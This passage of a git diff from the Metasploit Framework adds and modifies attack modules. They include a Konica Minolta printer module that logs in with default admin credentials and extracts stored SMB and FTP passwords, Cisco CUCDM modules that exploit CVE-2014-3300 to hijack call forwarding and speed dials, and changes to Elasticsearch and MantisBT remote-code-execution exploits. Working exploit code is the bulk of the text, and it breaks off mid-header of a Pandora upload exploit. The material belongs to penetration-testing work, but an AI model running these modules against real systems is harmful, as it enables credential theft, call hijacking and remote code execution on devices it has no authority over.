"Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end cracker_instance.crack do |line| print_status line.chomp end diff --git a/modules/auxiliary/analyze/jtr_postgres_fast.rb b/modules/auxiliary/analyze/jtr_postgres_fast.rb index 0637971d2f..18ee1edbd3 100644 --- a/modules/auxiliary/analyze/jtr_postgres_fast.rb +++ b/modules/auxiliary/analyze/jtr_postgres_fast.rb @@ -48,6 +48,11 @@ class Metasploit3 < Msf::Auxiliary cracker_instance = cracker.dup cracker_instance.format = format print_status "Cracking #{format} hashes in normal wordlist mode..." + # Turn on KoreLogic rules if the user asked for it + if datastore['KoreLogic'] + cracker_instance.rules = 'KoreLogicRules' + print_status "Applying KoreLogic ruleset..." + end cracker_instance.crack do |line| print_status line.chomp end diff --git a/modules/auxiliary/gather/konica_minolta_pwd_extract.rb b/modules/auxiliary/gather/konica_minolta_pwd_extract.rb new file mode 100644 index 0000000000..c4e2acae33 --- /dev/null +++ b/modules/auxiliary/gather/konica_minolta_pwd_extract.rb @@ -0,0 +1,258 @@ +# +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::Scanner + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Konica Minolta Password Extractor', + 'Description' => %q( + This module will extract FTP and SMB account usernames and passwords + from Konica Minolta mfp devices. Tested models include: C224, C280, + 283, C353, C360, 363, 420, C452,C452, C452, C454e, C554 ), + 'Author' => + [ + 'Deral "Percentx" Heiland', + 'Pete "Bokojan" Arzamendi' + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT('50001'), + OptString.new('USER', [false, 'The default Admin user', 'Admin']), + OptString.new('PASSWD', [true, 'The default Admin password', '12345678']), + OptInt.new('TIMEOUT', [true, 'Timeout for printer probe', 20]) + + ], self.class) + end + + # Creates the XML data to be sent that will extract AuthKey + def generate_authkey_request_xlm(major, minor) + user = datastore['USER'] + passwd = datastore['PASSWD'] + Nokogiri::XML::Builder.new do |xml| + xml.send('SOAP-ENV:Envelope', + 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/', + 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){ + xml.send('SOAP-ENV:Header'){ + xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){ + xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' } + xml.send('UserName', 'xmlns' => '') { xml.text '' } + xml.send('Password', 'xmlns' => '') { xml.text '' } + xml.send('Version', 'xmlns' => ''){ + xml.send('Major') { xml.text "#{major}" } + xml.send('Minor') { xml.text "#{minor}" } + } + xml.send('AppManagementID', 'xmlns' => '') { xml.text '0' } + } + } + xml.send('SOAP-ENV:Body') { + xml.send('AppReqLogin', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){ + xml.send('OperatorInfo'){ + xml.send('UserType') { xml.text "#{user}" } + xml.send('Password') { xml.text "#{passwd}" } + } + xml.send('TimeOut') { xml.text '60' } + } + } + } + end + end + + # Create XML data that will be sent to extract SMB and FTP passwords from device + def generate_pwd_request_xlm(major, minor, authkey) + Nokogiri::XML::Builder.new do |xml| + xml.send('SOAP-ENV:Envelope', + 'xmlns:SOAP-ENV' => 'http://schemas.xmlsoap.org/soap/envelope/', + 'xmlns:SOAP-ENC' => 'http://schemas.xmlsoap.org/soap/encoding/', + 'xmlns:xsi' => 'http://www.w3.org/2001/XMLSchema-instance', + 'xmlns:xsd' => 'http://www.w3.org/2001/XMLSchema'){ + xml.send('SOAP-ENV:Header'){ + xml.send('me:AppReqHeader', 'xmlns:me' => "http://www.konicaminolta.com/Header/OpenAPI-#{major}-#{minor}"){ + xml.send('ApplicationID', 'xmlns' => '') { xml.text '0' } + xml.send('UserName', 'xmlns' => '') { xml.text '' } + xml.send('Password', 'xmlns' => '') { xml.text '' } + xml.send('Version', 'xmlns' => ''){ + xml.send('Major') { xml.text "#{major}" } + xml.send('Minor') { xml.text "#{minor}" } + } + xml.send('AppManagementID', 'xmlns' => '') { xml.text '1000' } + } + } + xml.send('SOAP-ENV:Body'){ + xml.send('AppReqGetAbbr', 'xmlns' => "http://www.konicaminolta.com/service/OpenAPI-#{major}-#{minor}"){ + xml.send('OperatorInfo'){ + xml.send('AuthKey') { xml.text "#{authkey}" } + } + xml.send('AbbrListCondition'){ + xml.send('SearchKey') { xml.text 'None' } + xml.send('WellUse') { xml.text 'false' } + xml.send('ObtainCondition'){ + xml.send('Type') { xml.text 'OffsetList' } + xml.send('OffsetRange'){ + xml.send('Start') { xml.text '1' } + xml.send('Length') { xml.text '100' } + } + } + xml.send('BackUp') { xml.text 'true' } + xml.send('BackUpPassword') { xml.text 'MYSKIMGS' } + } + } + } + } + end + end + + # This next section will post the XML soap messages for information gathering. + def run_host(ip) + print_status("Attempting to extract username and password from the host at #{peer}") + version + end + + # Validate XML Major Minor version + def version + response = send_request_cgi( + { + 'uri' => '/', + 'method' => 'POST', + 'data' => '' + }, datastore['TIMEOUT'].to_i) + if response.nil? + print_error("#{peer} - No reponse from device") + return + else + xml0_body = ::Nokogiri::XML(response.body) + major_parse = xml0_body.xpath('//Major').text + minor_parse = xml0_body.xpath('//Minor').text + major = ("#{major_parse}") + minor = ("#{minor_parse}") + login(major, minor) + end + + rescue ::Rex::ConnectionError + print_error("#{peer} - Version check Connection failed.") + end + + # This section logs on and retrieves AuthKey token + def login(major, minor) + authreq_xml = generate_authkey_request_xlm(major, minor) + # Send post request with crafted XML to login and retreive AuthKey + begin + response = send_request_cgi( + { + 'uri' => '/', + 'method' => 'POST', + 'data' => authreq_xml.to_xml + }, datastore['TIMEOUT'].to_i) + if response.nil? + print_error("#{peer} - No reponse from device") + return + else + xml1_body = ::Nokogiri::XML(response.body) + authkey_parse = xml1_body.xpath('//AuthKey').text + authkey = ("#{authkey_parse}") + extract(major, minor, authkey) + end + rescue ::Rex::ConnectionError + print_error("#{peer} - Login Connection failed.") + end + end + + # This section post xml soap message that will extract usernames and passwords + def extract(major, minor, authkey) + if (authkey != '') + # create xml request to extract user credintial settings + smbreq_xml = generate_pwd_request_xlm(major, minor, authkey) + # Send post request with crafted XML as data + begin + response = send_request_cgi( + { + 'uri' => '/', + 'method' => 'POST', + 'data' => smbreq_xml.to_xml + }, datastore['TIMEOUT'].to_i) + if response.nil? + print_error("#{peer} - No reponse from device") + return + else + xml2_body = ::Nokogiri::XML(response.body) + @smb_user = xml2_body.xpath('//SmbMode/User').map { |val1| val1.text } + @smb_pass = xml2_body.xpath('//SmbMode/Password').map { |val2| val2.text } + @smb_host = xml2_body.xpath('//SmbMode/Host').map { |val3| val3.text } + @ftp_user = xml2_body.xpath('//FtpServerMode/User').map { |val4| val4.text } + @ftp_pass = xml2_body.xpath('//FtpServerMode/Password').map { |val5| val5.text } + @ftp_host = xml2_body.xpath('//FtpServerMode/Address').map { |val6| val6.text } + @ftp_port = xml2_body.xpath('//FtpServerMode/PortNo').map { |val6| val6.text } + end + end + i = 0 + # output SMB data + @smb_user.each do + shost = "#{@smb_host[i]}" + sname = "#{@smb_user[i]}" + sword = "#{@smb_pass[i]}" + print_good("SMB Account:User=#{sname}:Password=#{sword}:Host=#{shost}:Port=139") + register_creds('smb', shost, '139', sname, sword) + i += 1 + end + i = 0 + # output FTP data + @ftp_user.each do + fhost = "#{@ftp_host[i]}" + fname = "#{@ftp_user[i]}" + fword = "#{@ftp_pass[i]}" + fport = "#{@ftp_port[i]}" + print_good("FTP Account:User=#{fname}:Password=#{fword}:Host=#{fhost}:Port=#{fport}") + register_creds('ftp', fhost, fport, fname, fword) + i += 1 + end + + else + print_status('No AuthKey returned possible causes Authentication failed or unsupported Konica model') + return + end + end + + def register_creds(service_name, remote_host, remote_port, username, password) + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + workspace_id: myworkspace.id, + private_data: password, + private_type: :password, + username: username + } + + service_data = { + address: remote_host, + port: remote_port, + service_name: service_name, + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + + login_data = { + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + + login_data.merge!(service_data) + create_credential_login(login_data) + end +end diff --git a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb index c908eeb835..48c7704cf7 100644 --- a/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb +++ b/modules/auxiliary/scanner/http/coldfusion_locale_traversal.rb @@ -188,7 +188,7 @@ class Metasploit3 < Msf::Auxiliary end else next if (res.code == 500 or res.code == 404 or res.code == 302) - print_error("#{ip} #{res.inspect}") + print_error("#{ip} #{res.to_s}") end end diff --git a/modules/auxiliary/scanner/http/ektron_cms400net.rb b/modules/auxiliary/scanner/http/ektron_cms400net.rb index 66f90d252f..b6dd8c5391 100644 --- a/modules/auxiliary/scanner/http/ektron_cms400net.rb +++ b/modules/auxiliary/scanner/http/ektron_cms400net.rb @@ -124,11 +124,11 @@ class Metasploit3 < Msf::Auxiliary end end - def do_login(user=nil, pass=nil, viewstate=viewstate, eventvalidation=eventvalidation) + def do_login(user=nil, pass=nil, viewstate_arg=viewstate, eventvalidation_arg=eventvalidation) vprint_status("#{target_url} - Trying: username:'#{user}' with password:'#{pass}'") - post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate.to_s)}" - post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation.to_s)}" + post_data = "__VIEWSTATE=#{Rex::Text.uri_encode(viewstate_arg.to_s)}" + post_data << "&__EVENTVALIDATION=#{Rex::Text.uri_encode(eventvalidation_arg.to_s)}" post_data << "&username=#{Rex::Text.uri_encode(user.to_s)}" post_data << "&password=#{Rex::Text.uri_encode(pass.to_s)}" diff --git a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb index d41900d8a6..19a35e271d 100644 --- a/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb +++ b/modules/auxiliary/scanner/lotus/lotus_domino_hashes.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Auxiliary else print_error("http://#{vhost}:#{rport} - Lotus Domino - Unrecognized #{res.code} response") - print_error(res.inspect) + print_error(res.to_s) return :abort end diff --git a/modules/auxiliary/spoof/dns/compare_results.rb b/modules/auxiliary/spoof/dns/compare_results.rb index 6f6070401d..6b881e849e 100644 --- a/modules/auxiliary/spoof/dns/compare_results.rb +++ b/modules/auxiliary/spoof/dns/compare_results.rb @@ -97,16 +97,16 @@ class Metasploit3 < Msf::Auxiliary name = name.to_s anst = data.class.to_s.gsub(/^.*Resolv::DNS::Resource::IN::/, '') - case anst - when 'NS' + case data + when Resolv::DNS::Resource::IN::NS data = data.name.to_s - when 'MX' + when Resolv::DNS::Resource::IN::MX data = data.exchange.to_s - when 'A' + when Resolv::DNS::Resource::IN::A data = data.address.to_s - when 'TXT' + when Resolv::DNS::Resource::IN::TXT data = data.strings.join - when 'CNAME' + when Resolv::DNS::Resource::IN::CNAME data = data.name.to_s else data = anst diff --git a/modules/auxiliary/voip/cisco_cucdm_call_forward.rb b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb new file mode 100644 index 0000000000..584e4c26aa --- /dev/null +++ b/modules/auxiliary/voip/cisco_cucdm_call_forward.rb @@ -0,0 +1,148 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Viproy CUCDM IP Phone XML Services - Call Forwarding Tool', + 'Description' => %q{ + The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager + (CDM) 10 does not properly implement access control, which allows remote attackers to + modify user information. This module exploits the vulnerability for configure unauthorized + call forwarding. + }, + 'Author' => 'fozavci', + 'References' => + [ + ['CVE', '2014-3300'], + ['BID', '68331'] + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'Forward', { 'Description' => 'Enabling the call forwarding for the MAC address' } ], + [ 'Info', { 'Description' => 'Retrieving the call forwarding information for the MAC address' } ] + ], + 'DefaultAction' => 'Info' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']), + OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']), + OptString.new('FORWARDTO', [ true, 'Number to forward all calls', '007']), + OptString.new('FINTNUMBER', [ false, 'FINTNUMBER of IP Phones, required for multiple lines']) + ], self.class) + end + + def run + case action.name.upcase + when 'INFO' + get_info + when 'FORWARD' + forward_calls + end + end + + def get_info + uri = normalize_uri(target_uri.to_s) + mac = datastore["MAC"] + + print_status("#{peer} - Getting fintnumbers and display names of the IP phone") + + res = send_request_cgi( + { + 'uri' => normalize_uri(uri, 'showcallfwd.cgi'), + 'method' => 'GET', + 'vars_get' => { + 'device' => "SEP#{mac}" + } + }) + + unless res && res.code == 200 && res.body && res.body.to_s =~ /fintnumber/ + print_error("#{peer} - Target appears not vulnerable!") + print_status("#{res}") + return [] + end + + doc = REXML::Document.new(res.body) + lines = [] + fint_numbers = [] + + list = doc.root.get_elements('MenuItem') + + list.each do |lst| + xlist = lst.get_elements('Name') + xlist.each {|l| lines << "#{l[0]}"} + xlist = lst.get_elements('URL') + xlist.each {|l| fint_numbers << "#{l[0].to_s.split('fintnumber=')[1]}" } + end + + lines.size.times do |i| + print_status("#{peer} - Display Name: #{lines[i]}, Fintnumber: #{fint_numbers[i]}") + end + + fint_numbers + end + + def forward_calls + # for a specific FINTNUMBER redirection + uri = normalize_uri(target_uri.to_s) + forward_to = datastore["FORWARDTO"] + mac = datastore["MAC"] + + if datastore['FINTNUMBER'] + fint_numbers = [datastore['FINTNUMBER']] + else + fint_numbers = get_info + end + + if fint_numbers.empty? + print_error("#{peer} - FINTNUMBER required to forward calls") + return + end + + fint_numbers.each do |fintnumber| + + print_status("#{peer} - Sending call forward request for #{fintnumber}") + + send_request_cgi( + { + 'uri' => normalize_uri(uri, 'phonecallfwd.cgi'), + 'method' => 'GET', + 'vars_get' => { + 'cfoption' => 'CallForwardAll', + 'device' => "SEP#{mac}", + 'ProviderName' => 'NULL', + 'fintnumber' => "#{fintnumber}", + 'telno1' => "#{forward_to}" + } + }) + + res = send_request_cgi( + { + 'uri' => normalize_uri(uri, 'showcallfwdperline.cgi'), + 'method' => 'GET', + 'vars_get' => { + 'device' => "SEP#{mac}", + 'fintnumber' => "#{fintnumber}" + } + }) + + if res && res.body && res.body && res.body.to_s =~ /CFA/ + print_good("#{peer} - Call forwarded successfully for #{fintnumber}") + else + print_status("#{peer} - Call forward failed.") + end + end + end + +end diff --git a/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb new file mode 100644 index 0000000000..a3995a1992 --- /dev/null +++ b/modules/auxiliary/voip/cisco_cucdm_speed_dials.rb @@ -0,0 +1,205 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Viproy CUCDM IP Phone XML Services - Speed Dial Attack Tool', + 'Description' => %q{ + The BVSMWeb portal in the web framework in Cisco Unified Communications Domain Manager + (CDM), before version 10, doesn't implement access control properly, which allows remote + attackers to modify user information. This module exploits the vulnerability to make + unauthorized speeddial manipulations. + }, + 'Author' => 'fozavci', + 'References' => + [ + ['CVE', '2014-3300'], + ['BID', '68331'] + ], + 'License' => MSF_LICENSE, + 'Actions' => + [ + [ 'List', { 'Description' => 'Getting the speeddials for the MAC address' } ], + [ 'Modify', { 'Description' => 'Modifying a speeddial for the MAC address' } ], + [ 'Add', { 'Description' => 'Adding a speeddial for the MAC address' } ], + [ 'Delete', { 'Description' => 'Deleting a speeddial for the MAC address' } ] + ], + 'DefaultAction' => 'List' + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, 'Target URI for XML services', '/bvsmweb']), + OptString.new('MAC', [ true, 'MAC Address of target phone', '000000000000']), + OptString.new('NAME', [ false, 'Name for Speed Dial', 'viproy']), + OptString.new('POSITION', [ false, 'Position for Speed Dial', '1']), + OptString.new('TELNO', [ false, 'Phone number for Speed Dial', '007']), + ], self.class) + end + + def run + + case action.name.upcase + when 'MODIFY' + modify + when 'DELETE' + delete + when 'ADD' + add + when 'LIST' + list + end + + end + + def send_rcv(uri, vars_get) + uri = normalize_uri(target_uri.to_s, uri.to_s) + res = send_request_cgi( + { + 'uri' => uri, + 'method' => 'GET', + 'vars_get' => vars_get + }) + + if res && res.code == 200 && res.body && res.body.to_s =~ /Speed [D|d]ial/ + return Exploit::CheckCode::Vulnerable, res + else + print_error("#{peer} - Target appears not vulnerable!") + return Exploit::CheckCode::Safe, res + end + end + + def parse(res) + doc = REXML::Document.new(res.body) + names = [] + phones = [] + + list = doc.root.get_elements('DirectoryEntry') + list.each do |lst| + xlist = lst.get_elements('Name') + xlist.each {|l| names << "#{l[0]}"} + xlist = lst.get_elements('Telephone') + xlist.each {|l| phones << "#{l[0]}" } + end + + if names.size > 0 + names.size.times do |i| + info = '' + info << "Position: #{names[i].split(":")[0]}, " + info << "Name: #{names[i].split(":")[1]}, " + info << "Telephone: #{phones[i]}" + + print_good("#{peer} - #{info}") + end + else + print_status("#{peer} - No Speed Dial detected") + end + end + + def list + mac = datastore['MAC'] + + print_status("#{peer} - Getting Speed Dials of the IP phone") + vars_get = { + 'device' => "SEP#{mac}" + } + + status, res = send_rcv('speeddials.cgi', vars_get) + parse(res) unless status == Exploit::CheckCode::Safe + end + + def add + mac = datastore['MAC'] + name = datastore['NAME'] + position = datastore['POSITION'] + telno = datastore['TELNO'] + + print_status("#{peer} - Adding Speed Dial to the IP phone") + vars_get = { + 'name' => "#{name}", + 'telno' => "#{telno}", + 'device' => "SEP#{mac}", + 'entry' => "#{position}", + 'mac' => "#{mac}" + } + status, res = send_rcv('phonespeedialadd.cgi', vars_get) + + if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/ + print_good("#{peer} - Speed Dial #{position} is added successfully") + elsif res && res.body && res.body.to_s =~ /exist/ + print_error("#{peer} - Speed Dial is exist, change the position or choose modify!") + else + print_error("#{peer} - Speed Dial couldn't add!") + end + end + + def delete + mac = datastore['MAC'] + position = datastore['POSITION'] + + print_status("#{peer} - Deleting Speed Dial of the IP phone") + + vars_get = { + 'entry' => "#{position}", + 'device' => "SEP#{mac}" + } + + status, res = send_rcv('phonespeeddialdelete.cgi', vars_get) + + if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/ + print_good("#{peer} - Speed Dial #{position} is deleted successfully") + else + print_error("#{peer} - Speed Dial is not found!") + end + end + + def modify + mac = datastore['MAC'] + name = datastore['NAME'] + position = datastore['POSITION'] + telno = datastore['TELNO'] + + print_status("#{peer} - Deleting Speed Dial of the IP phone") + + vars_get = { + 'entry' => "#{position}", + 'device' => "SEP#{mac}" + } + + status, res = send_rcv('phonespeeddialdelete.cgi', vars_get) + + if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Deleted/ + print_good("#{peer} - Speed Dial #{position} is deleted successfully") + print_status("#{peer} - Adding Speed Dial to the IP phone") + + vars_get = { + 'name' => "#{name}", + 'telno' => "#{telno}", + 'device' => "SEP#{mac}", + 'entry' => "#{position}", + 'mac' => "#{mac}" + } + + status, res = send_rcv('phonespeedialadd.cgi', vars_get) + + if status == Exploit::CheckCode::Vulnerable && res && res.body && res.body.to_s =~ /Added/ + print_good("#{peer} - Speed Dial #{position} is added successfully") + elsif res && res.body =~ /exist/ + print_error("#{peer} - Speed Dial is exist, change the position or choose modify!") + else + print_error("#{peer} - Speed Dial couldn't add!") + end + else + print_error("#{peer} - Speed Dial is not found!") + end + end +end diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb index c8c789f6f2..cd8e65dcb5 100644 --- a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -105,18 +105,28 @@ class Metasploit3 < Msf::Exploit::Remote sum = addend_one + addend_two java = java_sum([addend_one, addend_two]) + + vprint_status("#{peer} attempting to execute '#{java}' in Java") res = execute(java) result = parse_result(res) if result.nil? + vprint_status("#{peer} no response to executed Java") return false else + vprint_status("#{peer} response to executed Java: #{result}") result.to_i == sum end end def parse_result(res) - unless res && res.code == 200 && res.body + unless res + vprint_error("#{peer} no response") + return nil + end + + unless res.code == 200 && res.body + vprint_error("#{peer} responded with HTTP code #{res.code} (with#{res.body ? '' : 'out'} a body)") return nil end @@ -127,20 +137,16 @@ class Metasploit3 < Msf::Exploit::Remote end begin - result = json['hits']['hits'][0]['fields']['msf_result'][0] + result = json['hits']['hits'][0]['fields']['msf_result'] rescue return nil end - result + result.is_a?(::Array) ? result.first : result end def java_sum(summands) - source = <<-EOF -#{summands.join(" + ")} - EOF - - source + summands.join(' + ') end def to_java_byte_array(str) diff --git a/modules/exploits/multi/http/mantisbt_php_exec.rb b/modules/exploits/multi/http/mantisbt_php_exec.rb index 9f80e82316..48523cc5ef 100644 --- a/modules/exploits/multi/http/mantisbt_php_exec.rb +++ b/modules/exploits/multi/http/mantisbt_php_exec.rb @@ -9,6 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient + include REXML def initialize(info = {}) super(update_info(info, @@ -17,16 +18,22 @@ class Metasploit3 < Msf::Exploit::Remote This module exploits a post-auth vulnerability found in MantisBT versions 1.2.0a3 up to 1.2.17 when the Import/Export plugin is installed. The vulnerable code exists on plugins/XmlImportExport/ImportXml.php, which receives user input through the "description" field and the "issuelink" attribute of an uploaded XML file and passes to preg_replace() function with the /e modifier. This allows a remote authenticated attacker to execute arbitrary PHP code on the remote machine. + This version also suffers from another issue. The import page is not checking the correct user level + of the user, so it's possible to exploit this issue with any user including the anonymous one if enabled. }, 'License' => MSF_LICENSE, 'Author' => [ 'Egidio Romano', # discovery http://karmainsecurity.com 'Juan Escobar ', # module development @itsecurityco + 'Christian Mehlmauer' ], 'References' => [ - ['CVE', '2014-7146'] + ['CVE', '2014-7146'], + ['CVE', '2014-8598'], + ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17725'], + ['URL', 'https://www.mantisbt.org/bugs/view.php?id=17780'] ], 'Platform' => 'php', 'Arch' => ARCH_PHP, @@ -42,49 +49,98 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - def check - res = exec_php('phpinfo(); die();', true) + def get_mantis_version + xml = Document.new + xml.add_element( + "soapenv:Envelope", + { + 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", + 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", + 'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/", + 'xmlns:man' => "http://futureware.biz/mantisconnect" + }) + xml.root.add_element("soapenv:Header") + xml.root.add_element("soapenv:Body") + body = xml.root.elements[2] + body.add_element("man:mc_version", + { 'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/" } + ) - if res && res.body =~ /This program makes use of the Zend/ - return Exploit::CheckCode::Vulnerable + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'api', 'soap', 'mantisconnect.php'), + 'ctype' => 'text/xml; charset=UTF-8', + 'headers' => { 'SOAPAction' => 'http://www.mantisbt.org/bugs/api/soap/mantisconnect.php/mc_version'}, + 'data' => xml.to_s + }) + if res && res.code == 200 + match = res.body.match(/(.+)<\/return><\/ns1:mc_versionResponse>/) + if match && match.length == 2 + version = match[1] + print_status("Detected Mantis version #{version}") + return version + end + end + + print_status("Can not detect Mantis version") + return nil + end + + def check + version = get_mantis_version + + return Exploit::CheckCode::Unknown if version.nil? + + gem_version = Gem::Version.new(version) + gem_version_introduced = Gem::Version.new('1.2.0a3') + gem_version_fixed = Gem::Version.new('1.2.18') + + if gem_version < gem_version_fixed && gem_version >= gem_version_introduced + return Msf::Exploit::CheckCode::Appears else - return Exploit::CheckCode::Unknown + return Msf::Exploit::CheckCode::Safe end end def do_login() - print_status('Checking access to MantisBT...') + # check for anonymous login res = send_request_cgi({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, 'login_page.php'), - 'vars_get' => { - 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import') - } + 'uri' => normalize_uri(target_uri.path, 'login_anon.php') }) + # if the redirect contains a username (non empty), anonymous access is enabled + if res && res.redirect? && res.redirection && res.redirection.query =~ /username=[^&]+/ + print_status('Anonymous access enabled, no need to log in') + session_cookie = res.get_cookies + else + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'login_page.php'), + 'vars_get' => { + 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import') + } + }) + session_cookie = res.get_cookies + print_status('Logging in...') + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'login.php'), + 'cookie' => session_cookie, + 'vars_post' => { + 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'), + 'username' => datastore['username'], + 'password' => datastore['password'], + 'secure_session' => 'on' + } + }) + fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302 - fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && res.code == 200 + fail_with(Failure::NoAccess, 'Wrong credentials') unless res && !res.redirection.to_s.include?('login_page.php') - session_cookie = res.get_cookies + session_cookie = "#{session_cookie} #{res.get_cookies}" + end - print_status('Logging in...') - res = send_request_cgi({ - 'method' => 'POST', - 'uri' => normalize_uri(target_uri.path, 'login.php'), - 'cookie' => session_cookie, - 'vars_post' => { - 'return' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import'), - 'username' => datastore['username'], - 'password' => datastore['password'], - 'secure_session' => 'on' - } - }) - - - fail_with(Failure::NoAccess, 'Login failed') unless res && res.code == 302 - - fail_with(Failure::NoAccess, 'Wrong credentials') unless res.redirection.to_s !~ /login_page.php/ - - "#{session_cookie} #{res.get_cookies}" + session_cookie end def upload_xml(payload_b64, rand_text, cookies, is_check) @@ -107,11 +163,16 @@ class Metasploit3 < Msf::Exploit::Remote } }) - unless res && res.code == 200 + unless res && res.code == 200 && res.body print_error('Error trying to access XmlImportExport/import page...') return false end + if res.body.include?('Plugin is not registered with MantisBT') + print_error('XMLImportExport plugin is not installed') + return false + end + # Retrieving CSRF token if res.body =~ /name="plugin_xml_import_action_token" value="(.*)"/ csrf_token = Regexp.last_match[1] @@ -190,22 +251,37 @@ class Metasploit3 < Msf::Exploit::Remote data_post = data.to_s print_status('Sending payload...') - return send_request_cgi({ + res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'plugin.php?page=XmlImportExport/import_action'), 'cookie' => cookies, 'ctype' => "multipart/form-data; boundary=#{ data.bound }", 'data' => data_post }, timeout) + + if res && res.body && res.body.include?('APPLICATION ERROR') + print_error('Error on uploading XML') + return false + end + + # request above will time out and return nil on success + return true end def exec_php(php_code, is_check = false) + print_status('Checking access to MantisBT...') + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path) + }) + + fail_with(Failure::NoAccess, 'Error accessing MantisBT') unless res && (res.code == 200 || res.redirection) # remove comments, line breaks and spaces of php_code payload_clean = php_code.gsub(/(\s+)|(#.*)/, '') # clean b64 payload - while Rex::Text.encode_base64(payload_clean) =~ /=/ + while Rex::Text.encode_base64(payload_clean).include?('=') payload_clean = "#{ payload_clean } " end payload_b64 = Rex::Text.encode_base64(payload_clean) @@ -216,6 +292,8 @@ class Metasploit3 < Msf::Exploit::Remote res_payload = upload_xml(payload_b64, rand_text, cookies, is_check) + return unless res_payload + # When a meterpreter session is active, communication with the application is lost. # Must login again in order to recover the communication. Thanks to @FireFart for figure out how to fix it. cookies = do_login() @@ -283,6 +361,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit + get_mantis_version unless exec_php(payload.encoded) fail_with(Failure::Unknown, 'Exploit failed, aborting.') end diff --git a/modules/exploits/multi/http/pandora_upload_exec.rb b/modules/exploits/multi/http/pandora_upload_exec.rb new file mode 100644 index 0000000000..e9266dd061 --- /dev/null +++ b/modules/exploits/multi/http/pandora_upload_exec.rb @@ -0,0 +1,166 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "Pandora v3.1 Auth Bypass and Arbitrary File Upload Vulnerability", + 'Description' => %q{ + This module exploits an authentication bypass vulnerability in Pandora v3.1 as + disclosed by 